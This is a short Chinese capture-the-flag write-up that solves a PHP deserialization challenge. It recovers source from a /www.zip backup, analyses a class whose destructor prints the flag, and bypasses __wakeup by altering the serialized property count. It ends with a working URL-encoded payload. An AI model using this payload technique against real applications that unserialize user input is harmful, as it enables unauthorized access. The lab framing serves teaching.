学了几天的PHP反序列化漏洞,找一个比较简单的题练练手
?进入后给出提示网站存在备份,尝试几种常见的备份目录或者也可以直接扫描目录
?访问/www.zip时弹出下载框,得到源代码,flag.php文件只有被调用执行才可获得到flag
?
?在index.php中发现这样一段代码
<?php
include 'class.php';
$select = $_GET['select']; //可控参数
$res=unserialize(@$select); //反序列化
?>
?class.php中代码如下
<?php
include 'flag.php';
error_reporting(0);
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){ //当执行反序列化时执行该函数
$this->username = 'guest';
}
function __destruct(){ //当对象销毁时执行该函数
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
?>
分析代码:当username=admin;password=100时我们可以获取到flag 当反序列化操作时会调用_wakeup()函数,不管我们给username赋什么值,username都会变成guset,所以我们只需要绕过wakeup即可。
绕过_wakeup()的方法:反序列化中object的个数和之前的个数不等
编写PHP代码得到序列化后结果,如果不使用url编码的话,private序列化后的特使字符无法显示
?更改序列化后的内容,将所选内容可更改为任意数值即可
?payload:
/?select=O%3A4%3A%22Name%22%3A4%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D
?
|